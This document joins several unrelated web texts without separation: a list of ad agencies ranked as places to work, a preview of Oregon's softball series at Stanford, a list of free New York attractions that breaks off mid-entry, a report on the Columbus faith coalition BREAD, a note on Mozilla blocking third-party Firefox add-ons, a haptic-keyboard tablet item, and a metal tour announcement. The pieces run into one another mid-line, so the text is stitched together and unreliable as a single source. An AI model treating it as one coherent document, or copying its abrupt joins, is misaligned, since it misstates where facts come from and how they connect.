Employees: 985 One employee described UM as having "the resources of a big company with the attitude of a small one," and that sentiment seems present throughout the workforce at this media-agency group. Many staff members cite "the people" as one of the best parts of working at this company, where learning opportunities from fellow co-workers and a great leadership team are important. "People are collaborative, supportive and genuinely care about fellow co-workers," said one employee. The company has an open-office concept to encourage collaboration and communication as well as private mommy rooms, "Zen Dens" and an extended winter holiday.
#19. Saatchi & Saatchi X Headquarters: Springdale, Ark.
Employees: 171 At this shopper-marketing agency, staff members say the people they work with are as important as the work they produce. "Our well-being and happiness are always taken into consideration," one employee said. "We are acknowledged and compensated for our hard work." The pet-friendly agency gives out two monthly awards to encourage teamwork and collaboration, and many employees say the work itself is what makes the job satisfying. "Credibility in the industry" and the "legacy of success" at Saatchi & Saatchi X are just a few of the reasons why employees enjoy working here.
#20. KBS Headquarters: New York
Employees: 700 Risk-taking is praised at this marketing and advertising agency—and employees are thankful for it. "We are encouraged and empowered to try and fail. It's super healthy," said one worker. "Smart" and "friendly" co-workers are a big reason why employees enjoy working at KBS, where they say hard work is acknowledged and respected. The atmosphere is described as entrepreneurial, where "career options are only limited by your imagination and ambition." "I have personally found the perfect balance and combination of being challenged and supported while working with awesome people," said one staff member.
#21. Criteo Headquarters: New York
Employees: 180 Criteo sends its employees to Paris every year for an annual company summit. You read that right: the ad-tech firm pays for employees to go to France. That's quite a perk. And it's not the only reason employees say they like working at Criteo, a publicly traded company that serves targeted display ads to consumers. There is also its people, flexible work environment and snacks. Working for a company that's profitable and posting strong revenue gains—up 72% during the most recent quarter—also offers peace of mind. Now that's an even better perk.
#22. Tierney Headquarters: Philadelphia
Employees: 120 Philadelphia-based Tierney, an advertising and marketing-services agency within Interpublic Group of Cos., gives employees the perks synonymous with startup culture, like a ping-pong table and the ability to bring dogs to work. But one of the big attractions of this company, its employees say, is less tangible, even though it seems to crackle through the halls: passion. "Most importantly, we have the best employees who are creative and driven to make the best work," an employee said.
#23. Red Door Interactive Headquarters: San Diego
Employees: 50 Red Door Interactive is based in San Diego and employees of this independent digital agency say they value the location. They also appreciate the work-life balance their employer affords them. "I may work 45 to 50 hours in a week, but have the flexibility in my schedule to take sufficient personal time," an employee said. And, thankfully, the work these staffers do for clients is rarely dull. "I'm not bored with my work," another employee said.
#24. Weber Shandwick Headquarters: New York
Employees: 1,500 Weber Shandwick's size doesn't get in the way of fun, if the monthly lunches, happy hours, team outings and events that various staffers cite are any indication. In fact, the PR behemoth's size and global scale—more than half of its clients are shared across geographies and practice areas—creates "global immersion" opportunities for junior talent to work in offices abroad. The firm also allows individuals to customize their roles to align with their skills and passions.
#25. SocialCode Headquarters: New York
Employees: 111 Employees are excited about the future of ad-tech firm SocialCode, citing "amazing growth" and "cutting-edge topics" as a few of the reasons they enjoy coming into the office. The opportunity to be innovative and advance quickly is something that these technology pioneers appreciate. Challenging the status quo is one of the company's main values. But high tech can also be high touch. At SocialCode, meetings between people in different offices often take place over Google Hangout.
#26. true[X] Headquarters: Los Angeles
Employees: 78 True[x] aims to create efficiencies for clients through technology. But it has also cracked the code on how to treat humans. One employee lauds the "brand-new open office space, plants, dogs, core balls, couches, outdoor patio with corn hole, a BBQ, fire pit, dog run, Nerf guns, ping-pong tables, fully stocked kitchen (beer, steaks, bacon, Red Bull)," while another cites "challenging engineering problems" and "amazing people." The company also uses tech to create better experiences for its employees. Exhibit A is a system called Karma that lets a staffer award someone who has helped them. Winners can expense a $40 lunch and are entered in a drawing to win $1,000 in plane tickets each quarter.
#27. 72andSunny Headquarters: Los Angeles
Employees: 306 72andSunny staffers applaud the agency's Southern California spirit and enjoy the physical space—particularly its outdoor workspace options from hammocks to picnic tables, lounge chairs and couches. Employees also praise the agency's culture, valuing the sense of community forged early on through collaboration and socializing, and a leadership team that makes itself accessible. "An admin or receptionist is welcome to all meetings," said a staffer, "[and there's] a partner breakfast just to get to know them." The fact that vacation days are not "set in stone," as many put it, is also much appreciated.
#28. 22squared Headquarters: Atlanta
Employees: 276 Staffers at 22squared value the work-life balance established by their leadership, from the flexible work hours to the group outings and regular agency breakfasts. Bonding is also key at the agency and collaborations are encouraged and nurtured. As one employee said, "One of our key cultural mottos is, 'We're Better Together'—we mean it, and it shows in everything we do and how we do it." Employees are also incentivized by fair, some say "great," compensation and recognition from the leadership team.
#29. SapientNitro Headquarters: Boston
Employees: 1,465 (U.S.) With $851 million in revenue in 2013, making the digital agency the 12th largest in the world, according to the Ad Age DataCenter, SapientNitro means business. But despite its high-tech and digital-marketing work with some of the biggest brands in the world and its massive operations around the globe, the shop manages to offer the flexible work hours, free beer and "egoless environment" typically enjoyed by boutiques, according to staffers. "There's never a set path to a great solution, so we encourage employees to take a new perspective, find a new angle, make something up to make it happen, even where there's risk involved," said the agency.
#30. Planit Headquarters: Baltimore
Employees: 79 The 79 employees at this Baltimore brand agency have it good. In addition to an office with an "amazing" view of the harbor (you can kayak to work), there's a Planit Wellness team that organizes monthly initiatives to foster healthier living and a Planit Employee Appreciation team organizing everything from paintball matches to an annual chili cook-off. Oh, and on meeting days, there's an omelet bar. "This is a fun place to work," one respondent said. Throw in an emphasis on work-life balance, and you get a workplace that employees describe as "fun," "creative" and "laid back."
#31. Marina Maher Communications Headquarters: New York
Employees: 130 MMC wants its employees to believe it will do a good job. Respondents described the 31-year-old firm's culture as "empowering" and "invigorating," citing an "entrepreneurial spirit" and a team structure that demands a lot but praises success even more. "I feel 100% set up for success," one employee said. There's an emphasis on relaxing once in a while, too. Team leaders are encouraged to dole out compensatory time off to employees who have earned it, and summer Fridays are a much-beloved perk.
#32. Sq1 Headquarters: Dallas
Employees: 110 This digital-marketing agency understands that people work—and learn—best in different environments. And the Sq1 staff, which embraces the "endless learning opportunities" that the agency offers, has plenty of options. There's a cell phone-free "zen room," treadmill desks, and plenty of dogs around. There's no shortage of relaxation options, either. There are Puppy Fridays and Summer Fridays, regular yoga and the Fitness Squad, and a beer cart rolls through the office from time to time. Add it all up, and you get a workplace that employees describe as "fun, yet productive."
#33. Archer>Malmo Headquarters: Memphis
Employees: 148 Archer>Malmo seems intent on keeping employees up to date and in the loop. Monthly meetings led by the CEO are appreciated for their "transparency." There is heavy investment in training for employees and frequent pushes to get members of various teams to collaborate, learn and share ideas. Then the fun begins. A masseuse comes twice a month, and frequent games and activities are dreamt up by the office Culture Club, whose leaders change every year. In trying to explain the company's culture, one employee wrote, "It's unlike any I've ever experienced or even heard of."
#34. Young & Laramore Headquarters: Indianapolis, Indiana
Employees: 43 This agency operates out of a 100-year-old school building, and it's essentially torn out all the bad stuff about going to school and kept all the good stuff. Most of the walls have been knocked down to create an open feel that employees find "inspiring" and conducive to growth, and frequent field trips and events in the company gym (the former school's gymnasium) keep people thinking and dreaming big. You can even take produce out of the company's outdoor garden. Add in strong camaraderie, and it's about as rosy as it gets. "We genuinely like each other," one respondent wrote.
#35. Brownstein Group Headquarters: Philadelphia
Employees: 65 Employees at Philadelphia-based Brownstein Group love the close-knit vibe at the 50-year-old PR and ad agency. "The family-oriented culture makes us more like cousins than co-workers," said one employee. That includes unlimited paid time off, a softball team and even an annual "camp" day of food and lawn games. For the younger-at-heart family members, there is also an in-house bar, a beer-pong tournament during March Madness and free weeknight yoga. "Everyone is an incredibly hard worker, but there's a true work-life balance," said another employee.
#36. ARGONAUT Headquarters: San Francisco
Employees: 42 Argonaut is the kind of hip San Francisco shop that emphasizes collaboration and a flat structure. "The chief creative officer will actually clean the dishes and help out around the office," one employee said. While there are no assigned seats, there is a 3D printer and record player for the office, plus an in-house bar. Employees routinely declare deep loyalty to Argonaut, and they say they love the unlimited paid time off and what one employee called a no-tolerance policy toward "jerks or any other form of jackanapes."
#37. Team One Headquarters: Playa Vista, Calif.
Employees: 399 Taking a walk to the beach with the dog can be a workday activity for employees at Team One—even in the urban sprawl of Los Angeles. The ad agency runs a dog-friendly office on an ecological reserve in Playa Vista. Employees also particularly like the development opportunities, including a monthly speaker series, stipends for training and the fact that five employees win $5,000 for an "inspirational trip" each year. "We hire well and keep the good people here for a long time," one employee said.
#38. Barkley Headquarters: Kansas City, Mo.
Employees: 279 Barkley is all about the wellness perks, offering employees free produce and on-site boot camp and yoga classes. But for when staffers are feeling less virtuous, there's also a daily happy hour and free ice cream. Employees say they like the trusting and flexible attitude at Barkley. "If I need—or just want—to work from home for a day, it is not a big deal," one employee said. "We are treated like adults, not managed like children."
#39. Firstborn Headquarters: New York
Employees: 91 Employees at this digital creative agency say they like company events such as ice-skating trips and the annual outing to the Belmont race track. The company also offers an additional three weeks vacation after five, seven and 10 years. One employee was especially attached to the learn-and-grow culture. Firstborn "pays for and encourages me to learn and develop new skills," the employee said. "The company future-proofs me."EUGENE, Ore. - The No. 1 ranked Oregon softball team hits the road this weekend for a three-game Pac-12 series at Stanford, starting with an ESPNU televised game on Friday night.
The Ducks and Cardinal will meet at 7 p.m. on Friday for the ESPNU broadcasted game before playing at 1 p.m. on Saturday and noon on Sunday.
#1 OREGON DUCKS (41-5, 14-1 Pac-12, First)
Team BA:.348 | Team ERA: 1.81 | Runs Scored: 319 | Runs Allowed: 107
Recently: Oregon swept Cal at home, with two run-rules, and beat Portland St. Tuesday.
National Rankings: No. 1 in both the NFCA and USA Softball polls (unanimous)
All-Times Series Record: Oregon leads, 36-33
Last Meeting: No. 10 Oregon beat No. 15 Stanford, 10-3 (3/25/13)
Notable: Oregon is ranked No. 1 in the nation for the third straight week and is the unanimous No. 1 team in both polls for the second straight time. Oregon was never ranked above No. 3 before this season. The Ducks swept Cal at home last weekend after taking all three at Oregon State the series before. Oregon scored 69 runs over the two series, more than reigning national champion Oklahoma had in any six-game stretch last season (66). Oregon has run-ruled every Pac-12 team it has faced this season at least once, with two run-rule wins against both Oregon State and Cal. Oregon is hitting.404 as a team in Pac-12 play.
STANFORD CARDINAL (27-18, 3-12 Pac-12, Eighth)
Team BA:.330 | Team ERA: 4.11 | Runs Scored: 291 | Runs Allowed: 218
Recently: Stanford dropped 2-of-3 to Utah in Salt Lake City, beat Santa Clara Tuesday.
National Rankings: N/A
Head Coach: John Rittman (18th Season)
Notable: Stanford was in the top-25 during non-conference play but has stumbled to a 3-12 record in league games. The Cardinal have a 8.59 team ERA in conference action with a.376 opponent batting average. Overall this season, Leah White is hitting a team-high.385 while Hanna Winter leads the Cardinal with 44 runs scored. Erin Ashby and Jessica Plaza are tied for the team lead with six home runs. Starting pitcher Madi Schreyer has started 30 games this season, with a 19-10 record and a 3.27 ERA in 190.2 innings. She has a 7.45 ERA in Pac-12 action. Stanford is 13-5 at home this season.
OREGON HOLDS ON TO TOP SPOT
Oregon is the unanimous No. 1 ranked team in the nation in both top-25 polls for the second straight week and has the top spot for the third straight time. After sweeping Oregon State on the road (April 12-14), the Ducks claimed every first place vote in both the USA Softball and NFCA top-25 polls. They did it again this week after sweeping Cal at home. Before this season, Oregon’s previous high ranking was No. 3 at the end of the regular season a year ago. The Ducks climbed to No. 2 this year on three occasions before jumping to No. 1. The Ducks started the season ranked No. 8 in both polls. Under head coach Mike White, the Ducks have been ranked for 71 straight weeks in the USA Softball poll and 64 weeks in a row in the NFCA poll.
LAST WEEKEND
Oregon swept its fourth Pac-12 foes in five series last weekend, taking all three games from Cal at Howe Field. The Ducks run-ruled the Golden Bears, 9-1, in the first game and 15-3 in the second game before finishing off the series with a 7-2 win. Oregon swept four Pac-12 teams last season as well. The Ducks have also run-ruled each Pac-12 team they’ve faced this year at least once. LF Janie Takeda and 3B Courtney Ceo each hit.625 in the series against Cal (5-for-8) while Takeda had a team-high two doules and six RBIs. LHP Cheridan Hawkins picked up two wins in the series with 12 strikeouts in 10.2 innings pitched. RHP Jasmine Smithson-Willett earned her first career save after throwing 1 1/3 scoreless innings in the third game of the series.
AGAINST STANFORD LAST YEAR
One of the four Pac-12 opponents Oregon swept last season was Stanford at home. In its first conference series of the year, the No. 10 ranked Ducks defeated the No. 15 ranked Cardinal, 4-3, in the first game, 3-2 in the second game and 10-3 in the final game. 1B Kailee Cuico hit one of the Ducks’ two homers in the series while C Janelle Lindvall had a team-high four RBIs. Oregon outscored Stanford, 13-6, in the series, despite having just a 20-16 edge in hits. The damage was done via the free pass, as the Ducks drew 10 walks in the series while Stanford hitters had just one while striking out 26 times. Cheridan Hawkins won all three games of the series, earning one as a starter and two as a reliever. Hawkins struck out 18 batters in 11 innings and allowed just three runs.
HISTORIC 15-RUN INNING
Oregon scored all 15 of its runs in a 15-3 win over Cal on April 18 in the fourth inning. The 15 runs scored is the most in school history, third most in Pac-12 history and the 10th most in NCAA history. The NCAA record is an amazing 29 runs scored by the College of Charleston in the second inning against Savannah State in 2004. The most ever in the Pac-12 is 17 runs by Arizona against Bowling Green in 2001 and second is 16 by Oregon State against BYU in 2012. Oregon’s 15 runs against Cal is the most ever in a game between two Pac-12 teams.
RUNS APLENTY
Oregon scored 15-or-more runs in a game just once in 4-plus seasons under head coach Mike White before doing it twice last week. The Ducks scored 11 runs in the first inning and exploded for 18 total runs in the third game of the Oregon State series on April 14 and posted 15 runs, all coming in the fourth inning, against Cal in the second game of the set on April 18. Overall, the Ducks have scored 15+ runs 12 times in program history and four times, including both times last week, since 2000. The Ducks had previous scored 15+ runs against just two Pac-12 teams (19 vs. Stanford in 1993, 19 vs. Oregon State in 1975) before doing it against OSU and Cal this year.
RECORD SETTING OFFENSE
Oregon’s production at the plate this year could rank as the best in school history. If the season ended today, Oregon’s.348 batting average and.545 slugging percentage would smash the single-season program records, both set last season. In fact, Oregon has produced a.300+ average just three times in, all coming since 2007.
RECORD SETTING DEFENSE
While the Ducks are getting it done at the plate, they are also performing at a high level in the field. Oregon’s.971 fielding percentage is currently the second best in single-season school history and close to the program record of.974, set in 2007. Oregon has made 36 errors this year in 46 games, with opponents making 64.
FIRST INNING EXCITEMENT
In addition to Oregon’s 11-run first inning against Oregon State on April 14, which chased the OSU starter after recording just one out, the Ducks also came out of the gates strong against Cal in the first game of the series on April 17. Oregon scored five runs off starter Nisa Ontiveros in the first inning and the Bears made a pitching change before a single out was recorded. Overall this season, the Ducks have outscored their opponents 54-15 in the first inning.
HITTING + PITCHING + FIELDING = WINNING
As a team, the Ducks are hitting.348 this season, good for fifth best in the nation, while their 1.81 team ERA is the 16th best in the NCAA. Oregon’s.971 fielding percentage ranks 25th out of 350 teams. With hitting, pitching and defense all ranked in the top-25 individually, Oregon’s 41 wins are tied for the second most in the nation (Florida State - 44).
THE LONG BALL
Oregon has hit at least one home run in 18 of its last 20 games and in 13 of 15 Pac-12 games this season. The only games since March 22 when the Ducks did not hit a home run was against then-No. 1 UCLA on April 6 and Cal on April 19. Overall, the Ducks have hit 30 home runs over the last 20 games. Oregon is averaging 1.11 home runs per game this season, good for 23rd most in the NCAA.
GRAND SLAM POWER
Oregon has hit eight grand slams this year, with six coming in Pac-12 play. Of her team-high 12 home runs, 1B Kailee Cuico has three grand slams. Freshman 2B Sammie Puentes’ second career home run was a grand slam against Cal to cap Oregon’s big 15-run fourth inning in the second game of the series on April 18.
CEO AT THE DISH
If the season ended today, Courtney Ceo’s.486 batting average set the UO single-season record, besting Jenn Salling’s.481 average in 2007. Ceo’s.486 average currently tops the Pac-12 (no other player in the Pac-12 is better than.450) and ranks second in the nation. Both Ceo’s.525 on-base percentage and her 45 runs scored rank fourth in the Pac-12.
PETERSON PRODUCES
Whether its at catcher or right fielder, Alexa Peterson has produced for the Ducks this season. The senior ranks third in the Pac-12 with 51 RBIs and she leads the nation with eight sacrifice flies.
COSTA’S INCREDIBLE IMPROVEMENT
Last season as a freshman, Koral Costa hit.207 in 111 at-bats. This season Costa is hitting.342 in 114 at-bats and is hitting a blistering.442 in Pac-12 play. The sophomore centerfielder has six home runs and 22 RBIs this year. She hit a three-run homer to start the Ducks’ big 15-run fourth inning against Cal on April 18.
CAREER LEADERS
Between 3B Courtney Ceo and 1B Kailee Cuico, all four of the major career hits records are now owned by the pair. Ceo is the program’s all-time leader in runs scored (174) and hits (254), while Cuico is the Ducks’ career leader in home runs (45) and RBIs (170).
HAWKINS AMONG NATION’S BEST
Cheridan Hawkins is among the nation’s best pitchers this season. The lefty leads the NCAA with 10 shutouts and her 25 wins are the second most in the country. Statistically, Hawkins ranks seventh in the nation with 228 strikeouts and 10th in hits allowed per seven innings (3.90). Her 1.41 ERA ranks 19th in the nation.
DUCKS AGAINST THE TOP-5 & NO. 1
Against top-5 ranked opponents, Oregon is 13-24 under fifth-year head coach Mike White, including a 2-1 eight-inning loss to No. 1 ranked Florida, a sweep of No. 5 ranked Washington and two wins in a three-game series with No. 1 UCLA this season (5-2). Last year Oregon went 3-4 against top-5 foes, its best mark of White’s tenure. Against No. 1 ranked teams, Oregon is 4-9 under White, including both wins over the Bruins this year.
BEST SEASON THUS FAR UNDER WHITE
Oregon’s 41-5 record at this point in the season (three regular season weekends left) is the best in head coach Mike White’s five seasons with the team. The Ducks have won 50+ games twice in school history, with a program record 54 wins in 1989 when the Ducks advanced to the Women’s College World Series.
CUICO’S SEVEN RBIS TIES UO RECORD
Kailee Cuico mashed a three-run homer and a grand slam to tie the single-game school record with seven RBIs against then No. 1 ranked UCLA on April 5. The Ducks run-ruled the Bruins, 12-4 in five innings that day, meaning Cuico had just two at-bats in the game. Cuico is just the fifth player in school history to reach seven RBIs in a single-game and the first to do it since 2006 (eight years). Cuico was named Pac-12 Player of the Week for the second time in her career after the UCLA series.
WINNING BIG
Oregon has outscored opponents 319-107 thus far in the season. The Ducks have run-ruled an opponent 17 times. Oregon has been outstanding at getting early leads, outscoring opponents a combined 117-32 over the first two innings, including 54-15 in the first inning and 63-17 in the second inning. Overall, Oregon has outscored thier opponents in every single inning this year, including extras.Seeing the bulk of New York City's biggest attractions can mean spending a hefty chunk of a trip's budget on tickets. Empire State Building? $20. The Met? $20. The Guggenheim and Whitney go for $18 each. Even the Frick is $15. But there is a lifetime of fun to be had without ever handing over a cent, and not just by taking on park trails, bike paths or window browsing. (Plus some ticket-admission spots have free times too – see the end of the story.)
Free New York travellers, get busy!
1. African Burial Ground
One of Lower Manhattan's most fascinating, and controversial, stories of recent years circulates around the new African Burial Ground National Monument site. It began when a construction project in 1991 uncovered a burial ground of slaves - more than 400 caskets were found - from an age when New York had more slaves than any American city outside Charleston, South Carolina. Outside you can see part of the site now enveloped by buildings, and the compact visitors centre does a masterful job at retelling African-American history in the city. See Lonely Planet's 76-Second Travel Show episode on the museum's opening.
2. Brooklyn Brewery tours
Free Saturday tours of Williamsburg's Brooklyn Brewery run half an hour from 1 pm to 4pm.
3. Central Park
It does not take brilliant travel minds to tell you that a park is free to visit - most parks are. But most parks are not Central Park, Manhattan's famed claim to thinking ahead (even if it was designed in the 1860s to boost real-estate value uptown). It is filled with free events, statues, people-watching and sites like Strawberry Fields, an "Imagine" mosaic near the Dakota, where John Lennon was killed in 1980. Another site is "the Pond", at the southeastern corner, where Holden Caulfield kept turning to in "The Catcher in the Rye", wondering where those ducks go when it is cold. (For the answer, watch this video.)
4. Chelsea galleries
New York's most concentrated area for a gallery crawl is in Chelsea, mostly in the 20s streets between 10th and 11th avenues. Check Gallery Guide or westchelseaarts.com for listings. All are free, no pressure to buy. And try timing for wine-and-cheese openings on Thursday evenings.
5. City Hall
Home to New York City's government since 1812, City Hall tours take in its cupola-topped marble hall, the governor's room as well as the spot where Abraham Lincoln's coffin lay in state briefly in 1865. Tours must be reserved in advance.
6. Fashion Institute of Technology (FIT) Museum
It is always Fashion Week in the FIT Museum, which features rotating exhibits by students and a surprisingly interesting and detailed collection of the country's first gallery of fashion, picked from a collection of 50,000 garments dating from the 18th Century to present.
7. Federal Hall
Two presidents were inaugurated in New York City, beginning with the first "Dubya", George Washington, who took the oath in Federal Hall in 1789, back when New York was the first capital. (Chester A Arthur was the second.) There is a nice statue outside, overlooking the New York Stock Exchange across Wall Street, and a small, recently renovated museum on post-colonial New York inside.
8. Federal Reserve Bank of New York
Reserve at least a week ahead (sometimes a month!) to visit the Federal Reserve Bank. It is most rewarding just to ogle the facility's high-security vault - useful considering more than 10,000 tons of gold reserves reside here, 80 feet below ground. There are also exhibits on counterfeit currency as well as a serious coin collection of the American Numismatic Society. A tour is the only way to get in.
9. Forbes Collection
The lobby galleries of Forbes magazine have some various curios from the late Malcolm Forbes' collection, most notably early versions of Monopoly boards. (Or watch Lonely Planet's tour of Monopoly sites around the properties' namesakes at Atlantic City, New Jersey.)
10. General Ulysses S Grant National Memorial
Also called "Grant's Tomb", the $600,000 granite structure that holds the remains of the Civil War hero and 18th president (and his wife Julia) is the largest mausoleum in the US, and is patterned after Mausolus' tomb at Halicarnassus, making it a plagiarized version of one of the Seven Wonders of the World.
11. Governor's Island
The ferry to Governor's Island is free, as is access to the 172-acre island which opened to the public only in 2003. There is a 2.2-mile bike path, mini golf, a picnic area, plus military sites such as Admiral's House and a "ghost town" of sorts at Nolan Park.
12. Grand Central Partnership Walking Tours
Two historians lead free 90-minute walking tours at 12:30 pm every Friday, hitting places like Grand Central Terminal's "whispering gallery" and the Chrysler Building.
13. Green-Wood Cemetery
Once the nation's most visited tourist attraction outside Niagara Falls, the gorgeous Green-Wood Cemetery was founded in 1838 and is the eternal home to some 600,000 people (or about 530 miles of bodies, head to toe). It is leafy and lovely, features Brooklyn's highest point at Battle Hill, a site from the Revolutionary War, now marked with a seven-foot statue of the Roman goddess of wisdom, Minerva. Watch for the squawking green parakeets at the cemetery's Gothic entry -- these are runaways from a JFK mishap in 1980 and have lived here since.
14. Hamilton Grange
You know you are important when you get a grange. This one, Hamilton Grange, to reopen in 2011 after renovation, is the Federal-style country retreat where Alexander Hamilton spent quieter, pre-death-by-duel New York days.
15. High Line
It is a park, so it should be free, but the expanding High Line project has the impact and feel of a real-live attraction, complete with its own opening hours. Created from an abandoned stretch of elevated railroad track, the native-inspired landscaping of this park 30 feet in the air connects the Meatpacking District with Chelsea's galleries (another great free institution). There are wonderful Hudson River views, or of pedestrians on the sidewalks below. Watch for public-art installations and events.
16. Hispanic Society of America Museum and Library
The largest collection of Spanish art outside Spain fills the ornate Beaux Arts space of the Hispanic Society of America Museum and Library on the serene Audobon Terrace in far north Manhattan.
17. Japan Society
The films and lectures usually involve a ticket, but the gallery exhibits at the Japan Society (focusing on Japanese art) are always free.
18. National Museum of the American Indian
This Smithsonian ex-pat, just off the historic Bowling Green and Battery Park, often gets missed by the frenetic commuters and tourists heading to the Statue of Liberty. Situated in the spectacular former US Customs House (1907), the National Museum of the American Indian is actually one of the country's finest collections of Native American art. The focus is on culture, not history, and does so with many of its million-plus items.
19. New York Earth Room
Now for something completely different: the Earth Room, Walter De Maria's 1977 art installation, a single room filled with 280,000 pounds of dirt, combines the framework of an ordinary office with the scent of a wet forest.
20. New York Public Library
Remember the Dewey Decimal System? The New York Public Library, New York's most famous library (aka the Stephen A Schwarzman Building), which turns 100 in 2011, is situated in a grand Beaux Arts icon east of Times Square. It is fronted by marble lions named "Patience" and "Fortitude", and is just a jaw-dropper to walk through, particularly the reading room fit for 500 patrons reading with the aid of the library's original Carre-and-Hastings lamps. There are exhibits too, including a copy of the original Declaration of Independence, a Gutenburg Bible, plus 431,000 old maps. There are free tours at 11 am and 2 pm Monday to Saturday, 2 pm Sunday.
21. Old Stone House
A Breuckelen |
.” As for filmmaker Russo, 73: “I laughed my butt off.” Night of the Living Dead Live runs at Theatre Passe Muraille, 16 Ryerson Ave., until May 19. See http://nightofthelivingdeadlive.com/tickets/ nightofthelivingdeadlive.com END or call 416-504-7529 for tickets.Just hours before the Nehemiah Action meeting on May 9, organizers of the interfaith social justice coalition BREAD didn’t know whether Mayor Andrew J. Ginther would make an appearance at the Celeste Center for the annual event. They had invited Ginther to weigh in on an economic initiative that would benefit residents of Linden, the Hilltop, and other marginalized neighborhoods. They had two different programs printed up for the evening: one in case the mayor would show up, and another in case he wouldn’t.
He didn’t.
Nevertheless, central Ohio faith leaders made their case at the meeting. “Early practices of deed restrictions, discriminatory lending, and highway construction have created a tale of two cities,” said Clyde Sales, senior minster at the Genessee Avenue Church of Christ. “There are the privileged neighborhoods and the throwaway neighborhoods, with clear boundaries separating neighborhoods like Linden.”
A recent study by the Martin Prosperity Institute ranked Columbus, with its pockets of extreme wealth and extreme poverty, as the second most economically segregated large city in the U.S.
“Over and over, we have heard strategies for economic development that focus solely on the needs of large corporations — abatements and other incentives,” Sales said. “None of these corporations are located in our community. None of these corporations really care about the people who live in neighborhoods like Linden and the Hilltop.”
Linden and the Hilltop have unemployment rates of over 15%, compared to the overall 4.5% unemployment rate in central Ohio.
BREAD has identified a model for worker-owned businesses in Cleveland — Evergreen Cooperatives — that has created jobs in low-income neighborhoods. It involves creating small business that provide goods and services to large non-profits, such as hospitals and universities, which are anchored to the city and unlikely to move away.
“They’ve figured out how to use the billions of dollars that these anchor institutions are already spending for goods and services to help lift distressed communities out of poverty,” said Cathy Levine, a member of Congregation Tiphareth Israel. “They establish new local businesses located in these neighborhoods that fill the purchasing needs of these anchor institutions. In Cleveland they’ve created a green laundry service, clean energy, and fresh food.”
The businesses are worker-owned. Each worker gets an equal share and a voice in the way the companies are run. The jobs and the profits stay local, and the business profits are distributed to the employees.
‘It’s a win-win situation that’s building a local economy from the ground up,” Levine said. “Rather than giving big companies tax breaks to come into the city and create low-wage jobs, the Evergreen strategy creates jobs, and recruits and trains local residents.
“Hospitals and universities here in Columbus are also spending billions of dollars each year,” Levine said. “Doesn’t it make sense to use that purchasing power to build wealth in Linden and the Hilltop, instead of lining the pockets of corporate investors?”
Corporate interests who fund the mayoral and City Council political campaigns would not be happy about losing lucrative business to local neighborhood cooperatives. This may account for why Mayor has been ducking requests to meet with BREAD to discuss this proposal since January. And why he didn’t want to appear before the BREAD assembly on May 9.
BREAD members view social justice as God’s work. Being ignored doesn’t discourage them. At the end of the assembly they unfurled a large banner that read “Mayor Ginther Meet with BREAD!” and posed with it in a gigantic group photo. Most of the people present also signed paper petitions with the same demand.
Update: On June 6 members of BREAD went to City Hall to deliver the banner and 1560 signatures to Mayor Ginther. City Hall staff received the banner and signatures. The mayor did not make an appearance.Good news for Firefox users who like me think that Mozilla needs to do something against third party add-on installations in the browser. Third party add-ons are browser extensions that are installed from third party programs on the system. It is for instance very common for security software to install toolbars and other add-ons in the browser automatically during installation. The real problem here from a security point of view is malicious software exploiting the issue. The worst case scenario is malware that successfully installs an add-on in the browser this way.
The current version of Firefox does not offer protection against these kinds of installations. Mozilla has acknowledge the issue and is currently working on a solution. The development team plans to include protection against unwanted add-on installations from Firefox 8 on.
A wiki page over at Mozilla offers details about the motivation and current stage of development.
Mozilla notes that they "currently do not provide adequate warning to users that new third-party provided add-ons have been installed" and that the "project will ensure that users opt-in to all add-ons that aren't installed through the Firefox UI".
With the protection in place, Firefox would inform its user of new add-ons that have been installed from third party software and not from within the browser UI. It is Mozilla's plan to display an opt-out page to the user so that it is possible to block the installation and execution of the add-on in the browser.
A mockup has been created that shows how the user prompt could look like during start of the browser. In this mockup, each third party add-on installation would span in its own tab in the browser. (via)
We do not know at this point if add-ons refer only to browser extensions, or if browser plugins are also included in the checks. It would make sense if Mozilla would block all automatic third party installations, and not only those that are extension related.
Conceivable Tech notes that Mozilla also wants to make sure that add-ons are always removable in the browser, another long standing issue that is about to get resolved.
The projected release target should give Mozilla ample time to test the new security measure before it reaches the majority of users in the Firefox Beta and Stable channels.
AdvertisementTactus Technology showed off today at SID Display Week 2012 an Android tablet prototype with a haptic feedback user interface that can appear and disappear. What this means is that, when the user wants, the keys can rise out from the screen making it feel like actual keys are in place. The “keys” can go back into the screen as if they weren’t even there.
This awesome technology is based on “microfluidics”, under the touchscreen is a fluid, a special type of oil. This oil is pumped and sent through a number of channels to form the shape of the keys. For now Tactus Technology only has a predefined pattern for the keys, which is a QWERTY keyboard, but the idea is that in the future even apps can take advantage of this technology.
This is definitely one big step forward, but is this something RIM should consider? We all know RIM for making amazing QWERTY keyboards, and there are probably many of you out there who wouldn’t give up on that for nothing. Would you as a BlackBerry user choose this over a regular touchscreen or QWERTY keyboard? Check out the video below and let us know your thoughts in the comments!Awesome tour announcement! A powerhouse bill has been put together for a month-long North American trek featuring Machine Head, Children of Bodom, Epica and Battlecross.
The lineup as been revealed by Machine Head on their Facebook page, along with 21 dates that will span North America beginning Oct. 4 in Denver, Colo.
Machine Head frontman Robb Flynn says, "Machine Head raised the bar with concert production for 2012‘s “Locust” tour, and now we plan to raise the bar again with our biggest US show yet, and the strongest line-up out there for 2014, PERIOD!! This is a MUST SEE event for any heavy metal fan in America! I am stoked that we were able to join up with our friends in Children of Bodom, one of the premier power metal bands of our time, and our friends in Battlecross, who we toured with on Mayhem last year, and are going to bring the old-school thrash vibe. Epica’s symphonic metal will add a touch of much needed class to the drunken shenanigans that will surely take place on this raucous tour. Come out and be a part of history ladies and gentlemen!!"
Children of Bodom frontman Alexi Laiho adds, “We’ve rolled with Machine Head quite a few times in the past. My best memories are kick azz shows, parties, camaraderie and vocal coaching from Robb Flynn way back in 2008, so I think we’ll have a good time tearing it up all over North America! Not a bad way to end the long and non stop tour cycle for “ Halo of Blood! “
Simone Simons of Epica also offers a quote promoting the must-see tour. “With this killer line-up, this tour is bound to be a great success. We will bring Epica to a whole new level and I can't wait to play the new songs along with the old material overseas.” Epica guitarist, songwriter, and founding member Mark Jansen also shares, “Machine Head and Children of Bodom are bands I listened to as teenager, so it's really amazing to be on this tour with Epica."
Finally, Battlecross guitarist Tony Asta throws in his two cents. “What an honor to be asked to join a tour in support of Machine Head's first album release on their new label! We’re really excited to reunite with Robb and the guys, as well as Children of Bodom - both legendary bands and friends from last summer’s Mayhem Fest. And we’ll get to see what Epica is all about. This is a tour with something for every metal head. We can’t wait to bring it brutal throughout the USA & Canada, banging heads and melting faces from coast-to-coast. See you in the pit!”
